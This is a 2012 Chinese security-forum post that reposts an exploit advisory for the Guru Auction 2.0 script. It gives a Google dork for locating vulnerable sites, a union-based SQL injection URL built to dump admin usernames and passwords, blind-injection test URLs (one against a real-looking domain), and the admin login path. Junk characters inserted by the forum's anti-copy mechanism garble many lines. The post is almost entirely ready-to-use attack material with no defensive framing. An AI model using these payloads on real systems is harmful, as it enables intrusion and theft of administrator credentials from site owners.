找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2226|回复: 0
打印 上一主题 下一主题

Guru Auction 2.0多重sql注射

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:24:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
$ J+ a) ^/ p" U2 q# o  Y7 ^, |8 R" a, N4 k* B' k" o% `
作者     : v3n0m# y8 Q) o$ d0 O, q) M7 p" \
应用 : Guru Auction 2.0
) F" }+ g+ z# L% Z, i% ^' zPrice       : $49+ b9 ?* _9 h; b8 D" j: C' K
Vendor      : http://www.guruscript.com/
4 m# [0 Q) _+ E4 _Google Dork : inurl:subcat.php?cate_id=
5 h. b6 `* j! f3 k7 Z
' ], E" O! D4 {SQLi p0c:
7 Y' P  t6 j9 H5 a2 k+ k~~~~~~~~~~- b4 J9 b5 [% J0 u/ s% m' K
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
+ u& ?# k3 V0 j& B9 o. i# C* G* o
" C6 l) |( l' ^7 {
7 c& y+ M0 d$ m) r盲注 p0c:# p! Z# ~9 [& ~2 a. @
~~~~~~~~~~
$ E0 z4 h+ c) m4 Fhttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
  X# Y- K+ @. ]$ r! nhttp://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false5 [8 i. q* R" b. g. X0 k

2 [; Z6 ~! y8 ?- s( I; ~管理登录入口:2 D  u. V; S6 h2 @
~~~~~~~~~~
8 `, ]4 o7 F% [3 n* p2 Vhttp://domain.tld/[path]/admin/
8 s5 c3 C; \. X7 \0 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表